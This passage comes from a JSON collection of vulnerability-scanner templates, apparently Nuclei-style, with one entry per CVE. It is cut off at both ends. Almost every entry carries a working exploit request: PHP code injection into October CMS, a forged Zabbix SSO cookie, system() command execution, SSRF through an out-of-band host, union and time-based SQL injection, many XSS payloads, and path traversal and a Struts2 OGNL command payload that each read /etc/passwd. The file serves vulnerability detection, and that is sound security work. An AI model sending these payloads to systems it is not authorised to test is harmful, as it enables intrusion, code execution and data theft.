application/x-www-form-urlencoded; charset=UTF-8\nX-OCTOBER-REQUEST-HANDLER: onSave\nX-OCTOBER-REQUEST-PARTIALS:\nX-Requested-With: XMLHttpRequest\n\n_session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0\n","POST /backend/cms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-OCTOBER-REQUEST-HANDLER: onCreateTemplate\nX-OCTOBER-REQUEST-PARTIALS:\nX-Requested-With: XMLHttpRequest\n\n_session_key={{session_key}}&_token={{token}}&search=&type=page\n","POST /backend/cms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-OCTOBER-REQUEST-HANDLER: onOpenTemplate\nX-OCTOBER-REQUEST-PARTIALS:\nX-Requested-With: XMLHttpRequest\n\n_session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["function onInit()","phpinfo()","Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to `false`."],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"xpath","name":"session_key","internal":true,"xpath":["/html/body/div[1]/div/div[2]/div/div/form/input[1]"],"attribute":"value"},{"type":"xpath","name":"token","internal":true,"xpath":["/html/body/div[1]/div/div[2]/div/div/form/input[2]"],"attribute":"value"},{"type":"regex","name":"theme","group":1,"regex":["<input\\stype=\\\\\"hidden\\\\\"\\svalue=\\\\\"demo\\\\\"\\sname=\\\\\"([^\"]*)\\\\\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-23131","info":{"name":"Zabbix - SAML SSO Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/zabbix/index_sso.php","{{BaseURL}}/index_sso.php"],"stop-at-first-match":true,"headers":{"Cookie":"zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2022-0288","info":{"name":"WordPress Ad Inserter <2.7.10 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}"],"body":"html_element_selection=</script><img+src+onerror=alert(document.domain)>\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><img src onerror=alert(document.domain)>","ad-inserter"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29548","info":{"name":"WSO2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)//"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["CARBON.showWarningDialog('???');alert(document.domain)//???"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0165","info":{"name":"WordPress Page Builder KingComposer <=2.9.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2022-38553","info":{"name":"Academy Learning Management System <5.9.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><script>alert(document.domain)</script>","Study any topic"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32444","info":{"name":"u5cms v8.3.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/loginsave.php?u=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0781","info":{"name":"WordPress Nirweb Support <2.8.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- -\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25125","info":{"name":"MCMS 5.2.4  - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('{{num}}'),0x7e),1)/**/or/**/1"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25"]},{"type":"word","part":"header","words":["application/json"]}]}]},{"id":"CVE-2022-0968","info":{"name":"Microweber <1.2.12 - Integer Overflow","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1\nHost: {{Hostname}}\n","POST /api/user/2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nthumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3,'\\\"first_name\\\":\\\"{{payload}}\\\"')","status_code_3==200","contains(header_3,\"application/json\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"form_token","group":1,"regex":["<input type=\"hidden\" name=\"token\" value=\"(.*)\" autocomplete=\"off\">"],"internal":true,"part":"body"},{"type":"regex","name":"user","group":1,"regex":["<input type=\"text\" class=\"form-control\" name=\"username\" value=\"(.*)\">"],"internal":true,"part":"body"},{"type":"regex","name":"email","group":1,"regex":["<input type=\"email\" class=\"form-control\" name=\"email\" value=\"(.*)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0869","info":{"name":"nitely/spirit 0.12.3 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/user/login/?next=https%3A%2F%2Finteract.sh","{{BaseURL}}/user/logout?next=https%3A%2F%2Finteract.sh","{{BaseURL}}/user/register?next=https%3A%2F%2Finteract.sh","{{BaseURL}}/user/resend-activation?next=https%3A%2F%2Finteract.sh"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-1906","info":{"name":"WordPress Copyright Proof <=4.16 - Cross-Site-Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["got message <script>alert(document.domain)</script>"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-41441","info":{"name":"ReQlogic v11.3 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script>","{{BaseURL}}/ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3"],"stop-at-first-match":true,"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body_2, \"<script>alert(document.domain)</script>\") && contains(body_2, \"POProcessTimeout\")"],"condition":"and"}]}]},{"id":"CVE-2022-1609","info":{"name":"The School Management < 9.9.7 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /wp-json/am-member/license HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nblowfish=1&blowf=system('{{cmd}}');\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["9061-2202-EVC"]}]}]},{"id":"CVE-2022-2633","info":{"name":"All-In-One Video Gallery <=2.6.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /index.php/video/?dl={{base64('https://oast.me/')}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24124","info":{"name":"Casdoor 1.13.0 - Unauthenticated SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["XPATH syntax error.*'","casdoor"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45037","info":{"name":"WBCE CMS v1.5.4 -  Cross Site Scripting (Stored)","severity":"medium"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/users/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nformtoken={{formtoken}}&user_id=&username_fieldname={{username_fieldname_2}}&{{username_fieldname_2}}=test-{{randstr}}&password={{randstr}}&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email={{randstr}}%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=\n","GET /admin/users/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_5","words":["<script>alert(document.domain)</script>","SESSION_TIMEOUT"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"username_fieldname_2","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-0867","info":{"name":"WordPress ARPrice <3.6.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=arplite_insert_plan_id&arp_plan_id=x&arp_template_id=1+AND+(SELECT+8948+FROM+(SELECT(SLEEP(6)))iIic)\n","GET /wp-content/plugins/arprice-responsive-pricing-table/js/arprice.js HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(content_type_1, \"text/html\")","contains(body_2, \"ArpPriceTable\")"],"condition":"and"}]}]},{"id":"CVE-2022-35405","info":{"name":"Zoho ManageEngine - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{RootURL}}/xmlrpc"],"body":"<?xml version=\"1.0\"?><methodCall><methodName>{{randstr}}</methodName><params><param><value>big0us</value></param></params></methodCall>\n","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<name>faultString</name>"]},{"type":"word","part":"body","words":["No such service [{{randstr}}]","No such handler: {{randstr}}"],"condition":"or"},{"type":"word","part":"body","words":["<methodResponse>","</methodResponse>"],"condition":"or"}]}]},{"id":"CVE-2022-24264","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","POST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nsearch_word=')+union+all+select+1,md5('{{num}}'),3,4,5,6,7,8--+-&order_by=id&order_orientation=ASC&path=component%2Ftable_manager%2Fview%2Fcu_countries&uniqueClass=wrapper_content_518284\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{md5(num)}}","td_available_languages"],"condition":"and"},{"type":"word","part":"header_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-39960","info":{"name":"Jira Netic Group Export <1.0.3 - Missing Authorization","severity":"medium"},"requests":[{"raw":["POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ngroupexport_searchstring=&groupexport_download=true\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"jiraGroupObjects\"","\"groupName\""],"condition":"and"},{"type":"word","part":"header","words":["attachment","jira-group-export"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42746","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting.","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-0928","info":{"name":"Microweber < 1.2.12 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /api/shop/save_tax_item HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:settings\n\nid=0&name=vat1&type=\"><img+src%3dx+onerror%3dalert(document.domain)>&rate=10\n","POST /module HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer:{{BaseURL}}/admin/view:settings\n\nclass=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_3,\"<img src=x onerror=alert(document.domain)></td>\")","contains(header_3,\"text/html\")","status_code_2 == 200 && status_code_3 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-46381","info":{"name":"Linear eMerge E3-Series - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/badging/badge_template_v0.php?layout=1&type=\"/><svg/onload=\"alert(document.domain)\"/>"],"matchers-condition":"and","matchers":[{"type":"word","words":["<svg/onload=\"alert(document.domain)\"/>","Badging Template"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42094","info":{"name":"Backdrop CMS version 1.23.0 - Stored Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?q=user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nname={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in\n","GET /?q=node/add/card HTTP/1.1\nHost: {{Hostname}}\n","POST /?q=node/add/card HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryWEcZgRB4detkrGaY\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"title\"\n\n{{randstr}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"files[field_image_und_0]\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"field_image[und][0][fid]\"\n\n0\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"field_image[und][0][display]\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"changed\"\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_build_id\"\n\n{{form_id_2}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_token\"\n\n{{form_token}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"form_id\"\n\ncard_node_form\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"body[und][0][value]\"\n\n<img src=x onerror=alert(document.domain)>\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"body[und][0][format]\"\n\nfull_html\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"status\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"name\"\n\n{{name}}\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"date[date]\"\n\n2023-04-13\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"date[time]\"\n\n21:49:36\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"path[auto]\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"comment\"\n\n1\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"additional_settings__active_tab\"\n\n\n------WebKitFormBoundaryWEcZgRB4detkrGaY\nContent-Disposition: form-data; name=\"op\"\n\nSave\n------WebKitFormBoundaryWEcZgRB4detkrGaY--\n"],"cookie-reuse":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=\"x\" onerror=\"alert(document.domain)\" />","Backdrop CMS"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"form_id_1","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"name","group":1,"regex":["name=\"name\" value=\"(.*?)\""],"internal":true},{"type":"regex","name":"form_id_2","group":1,"regex":["name=\"form_build_id\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"form_token","group":1,"regex":["name=\"form_token\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-25216","info":{"name":"DVDFab 12 Player/PlayerFab - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44946","info":{"name":"Rukovoditel <= 3.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=page&is_active=1&position=listing&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&description=\n"],"cookie-reuse":true,"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"<script>alert(document.domain)</script>\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-0437","info":{"name":"karma-runner DOM-based Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/karma.js","{{BaseURL}}/?return_url=javascript:alert(document.domain)"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 6.3.14')"]},{"type":"word","part":"body_2","words":["Karma"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)VERSION: '([0-9.]+)'"],"internal":true}]}]},{"id":"CVE-2022-46073","info":{"name":"Helmet Store Showroom - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/hss/?q=%27%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(body, \"Helmet Store Showroom\")","contains(body, \"><script>alert(document.domain)</script>\")"],"condition":"and"}]}]},{"id":"CVE-2022-0826","info":{"name":"WordPress WP Video Gallery <=1.7.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=wp_video_gallery_ajax_add_single_youtube&url=http://example.com/?x%26v=1%2522 AND (SELECT 1780 FROM (SELECT(SLEEP(6)))uPaz)%2523\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Registred videos :\")"],"condition":"and"}]}]},{"id":"CVE-2022-0434","info":{"name":"WordPress Page Views Count <2.4.15 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /?rest_route=/pvc/v1/increase/1&post_ids=0)%20union%20select%20md5({{num}}),null,null%20--%20g HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26159","info":{"name":"Ametys CMS Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/web/service/search/auto-completion/domain/en.xml?q=adm"],"matchers-condition":"and","matchers":[{"type":"word","words":["<auto-completion>","<item>"],"condition":"and"},{"type":"word","part":"header","words":["text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0535","info":{"name":"WordPress E2Pdf <1.16.45 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes\n","GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_4, 'placeholder=\\\"Developer IPs\\\" ></textarea><svg/onload=alert(document.domain)>')","contains(header_4, \"text/html\")","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_nonce\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2022-32409","info":{"name":"Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25356","info":{"name":"Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Exception: Error while [Loading XML","<RegKey>","<IsAdmin>"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31847","info":{"name":"WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportAllSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","words":["Login=","Password=","Model=","AuthMode="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24990","info":{"name":"TerraMaster TOS < 4.2.30 Server Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/module/api.php?mobile/webNasIPS"],"headers":{"User-Agent":"TNAS"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json","TerraMaster"],"condition":"and"},{"type":"regex","part":"body","regex":["webNasIPS successful","(ADDR|(IFC|PWD|[DS]AT)):","\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2006-1681","info":{"name":"Cherokee HTTPD <=0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%2F..%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2006-2842","info":{"name":"Squirrelmail <=1.4.6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/src/redirect.php?plugins[]=../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-4556","info":{"name":"OpenSymphony XWork/Apache Struts2 - Remote Code Execution","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/login.action"],"body":"username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2007-5